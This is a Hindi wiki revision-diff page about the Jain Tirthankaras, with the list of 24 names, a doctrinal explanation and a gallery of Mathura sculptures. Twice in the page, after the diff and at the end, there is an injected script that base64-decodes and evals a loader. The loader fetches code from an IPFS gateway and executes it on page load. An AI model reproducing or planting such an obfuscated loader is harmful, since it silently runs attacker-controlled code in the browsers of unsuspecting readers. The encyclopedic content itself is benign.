"तीर्थंकर" के अवतरणों में अंतर
नेविगेशन पर जाएँ
खोज पर जाएँ
अश्वनी भाटिया (चर्चा | योगदान) |
Maintenance (चर्चा | योगदान) छो (Text replace - '{{जैन धर्म2}}' to '{{जैन धर्म}}') |
||
(४ सदस्यों द्वारा किये गये बीच के ११ अवतरण नहीं दर्शाए गए) | |||
पंक्ति १: | पंक्ति १: | ||
{{Menu}} | {{Menu}} | ||
− | |||
==तीर्थंकर / [[:en:Tirthankar|Tirthankar]]== | ==तीर्थंकर / [[:en:Tirthankar|Tirthankar]]== | ||
[[चित्र:Seated-Rishabhanath-Jain-Museum-Mathura-38.jpg|thumb|250px|[[ॠषभनाथ तीर्थंकर|आसनस्थ ऋषभनाथ]]<br /> Seated Rishabhanatha<br /> [[जैन संग्रहालय मथुरा|राजकीय जैन संग्रहालय]], [[मथुरा]]]] | [[चित्र:Seated-Rishabhanath-Jain-Museum-Mathura-38.jpg|thumb|250px|[[ॠषभनाथ तीर्थंकर|आसनस्थ ऋषभनाथ]]<br /> Seated Rishabhanatha<br /> [[जैन संग्रहालय मथुरा|राजकीय जैन संग्रहालय]], [[मथुरा]]]] | ||
पंक्ति ६: | पंक्ति ५: | ||
*इस विषय में जिन्होंने प्रवर्तन किया, उपदेश दिया, उन्हें तीर्थंकर कहा गया है। | *इस विषय में जिन्होंने प्रवर्तन किया, उपदेश दिया, उन्हें तीर्थंकर कहा गया है। | ||
*तीर्थंकर 24 माने गए है। | *तीर्थंकर 24 माने गए है। | ||
− | *[[जैन]] धर्म में चौबीस | + | *[[जैन]] धर्म में चौबीस तीर्थंकरों के नाम इस प्रकार प्रसिद्ध है- |
#[[ॠषभनाथ तीर्थंकर]], | #[[ॠषभनाथ तीर्थंकर]], | ||
#अजित, | #अजित, | ||
पंक्ति १३: | पंक्ति १२: | ||
#सुमति, | #सुमति, | ||
#पद्य, | #पद्य, | ||
− | |||
#सुपार्श्व, | #सुपार्श्व, | ||
#चन्द्रप्रभ, | #चन्द्रप्रभ, | ||
पंक्ति ३२: | पंक्ति ३०: | ||
#[[तीर्थंकर पार्श्वनाथ|पार्श्वनाथ तीर्थंकर]], और | #[[तीर्थंकर पार्श्वनाथ|पार्श्वनाथ तीर्थंकर]], और | ||
#वर्धमान-[[महावीर]] | #वर्धमान-[[महावीर]] | ||
− | *इन 24 | + | |
+ | *इन 24 तीर्थंकरों ने अपने-अपने समय में धर्ममार्ग से च्युत हो रहे जन समुदाय को संबोधित किया और उसे धर्ममार्ग में लगाया। | ||
*इसी से इन्हें धर्म मार्ग-मोक्ष मार्ग का नेता तीर्थ प्रवर्त्तक-तीर्थंकर कहा गया है। | *इसी से इन्हें धर्म मार्ग-मोक्ष मार्ग का नेता तीर्थ प्रवर्त्तक-तीर्थंकर कहा गया है। | ||
*जैन सिद्धान्त के अनुसार 'तीर्थंकर' नाम की एक पुण्य (प्रशस्त) कर्म प्रकृति है। उसके उदय से तीर्थंकर होते और वे तत्त्वोपदेश करते हैं। | *जैन सिद्धान्त के अनुसार 'तीर्थंकर' नाम की एक पुण्य (प्रशस्त) कर्म प्रकृति है। उसके उदय से तीर्थंकर होते और वे तत्त्वोपदेश करते हैं। | ||
− | *आचार्य विद्यानंद ने स्पष्ट कहा है<balloon title="ऋषभादिमहावीरान्तेभ्य: स्वात्मोपलब्धये। | + | *आचार्य विद्यानंद ने स्पष्ट कहा है<balloon title="ऋषभादिमहावीरान्तेभ्य: स्वात्मोपलब्धये। धर्मतीर्थंकरेभ्योऽस्तु स्याद्वादिभ्यो नमोनम:॥ अकलंक, लघीयस्त्रय, 1" style=color:blue>*</balloon> कि 'बिना तीर्थंकरत्वेन नाम्ना नार्थोपदेशना' अर्थात बिना तीर्थंकर-पुण्यनामकर्म के तत्त्वोपदेश संभव नहीं है।<balloon title="आप्तपरीक्षा, कारिका 16" style=color:blue>*</balloon> |
− | + | ==वीथिका== | |
+ | <gallery widths="145px" perrow="4"> | ||
+ | चित्र:23rd-Tirthankara-Parsvanatha-Jain-Museum-Mathura-9.jpg|[[तीर्थंकर पार्श्वनाथ]]<br /> Tirthankara Parsvanatha | ||
+ | चित्र:Seated-Jain-Tirthankara-Jain-Museum-Mathura-30.jpg|आसनस्थ जैन तीर्थंकर<br /> Seated Jaina Tirthankara | ||
+ | चित्र:Thirthankara-Rishabhanath-Jain-Museum-Mathura-1.jpg|[[ॠषभनाथ तीर्थंकर|तीर्थंकर ऋषभनाथ]]<br /> Tirthankara Rishabhanath | ||
+ | चित्र:Seated-Jain-Tirthankara-Jain-Museum-Mathura-21.jpg|आसनस्थ जैन तीर्थंकर<br /> Seated Jaina Tirthankara | ||
+ | चित्र:Seated-Jain-Tirthankara-Jain-Museum-Mathura-3.jpg|आसनस्थ जैन तीर्थंकर<br /> Seated Jaina Tirthankara | ||
+ | चित्र:Jain-Tirthankara-Jain-Museum-Mathura-15.jpg|जैन तीर्थंकर<br /> Jaina Tirthankara | ||
+ | चित्र:Seated-Jain-Tirthankara-Jain-Museum-Mathura-11.jpg|आसनस्थ जैन तीर्थंकर<br /> Seated Jaina Tirthankara | ||
+ | चित्र:Jain-Tirthankara-Rishabhanatha-Jain-Museum-Mathura-25.jpg|[[ॠषभनाथ तीर्थंकर|तीर्थंकर ऋषभनाथ]]<br /> Tirthankara Rishabhanath | ||
+ | </gallery> | ||
[[en:Tirthankar]] | [[en:Tirthankar]] | ||
__INDEX__ | __INDEX__ | ||
+ | ==सम्बंधित लिंक== | ||
+ | {{जैन धर्म}} | ||
[[Category:कोश]] [[Category:जैन]] | [[Category:कोश]] [[Category:जैन]] |
११:३६, ७ अगस्त २०१० के समय का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
तीर्थंकर / Tirthankar
- तीर्थ का अर्थ जिसके द्वारा संसार समुद्र तरा जाए,पार किया जाए और वह अहिंसा धर्म है।
- इस विषय में जिन्होंने प्रवर्तन किया, उपदेश दिया, उन्हें तीर्थंकर कहा गया है।
- तीर्थंकर 24 माने गए है।
- जैन धर्म में चौबीस तीर्थंकरों के नाम इस प्रकार प्रसिद्ध है-
- ॠषभनाथ तीर्थंकर,
- अजित,
- सम्भव,
- अभिनन्दन,
- सुमति,
- पद्य,
- सुपार्श्व,
- चन्द्रप्रभ,
- पुष्पदन्त,
- शीतल,
- श्रेयांस,
- वासुपूज्य,
- विमल,
- अनन्त,
- धर्मनाथ,
- शांति,
- कुन्थु,
- अरह,
- मल्लिनाथ,
- मुनिसुब्रत,
- नमि,
- नेमिनाथ तीर्थंकर,
- पार्श्वनाथ तीर्थंकर, और
- वर्धमान-महावीर
- इन 24 तीर्थंकरों ने अपने-अपने समय में धर्ममार्ग से च्युत हो रहे जन समुदाय को संबोधित किया और उसे धर्ममार्ग में लगाया।
- इसी से इन्हें धर्म मार्ग-मोक्ष मार्ग का नेता तीर्थ प्रवर्त्तक-तीर्थंकर कहा गया है।
- जैन सिद्धान्त के अनुसार 'तीर्थंकर' नाम की एक पुण्य (प्रशस्त) कर्म प्रकृति है। उसके उदय से तीर्थंकर होते और वे तत्त्वोपदेश करते हैं।
- आचार्य विद्यानंद ने स्पष्ट कहा है<balloon title="ऋषभादिमहावीरान्तेभ्य: स्वात्मोपलब्धये। धर्मतीर्थंकरेभ्योऽस्तु स्याद्वादिभ्यो नमोनम:॥ अकलंक, लघीयस्त्रय, 1" style=color:blue>*</balloon> कि 'बिना तीर्थंकरत्वेन नाम्ना नार्थोपदेशना' अर्थात बिना तीर्थंकर-पुण्यनामकर्म के तत्त्वोपदेश संभव नहीं है।<balloon title="आप्तपरीक्षा, कारिका 16" style=color:blue>*</balloon>
वीथिका
तीर्थंकर पार्श्वनाथ
Tirthankara Parsvanathaतीर्थंकर ऋषभनाथ
Tirthankara Rishabhanathतीर्थंकर ऋषभनाथ
Tirthankara Rishabhanath
सम्बंधित लिंक
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>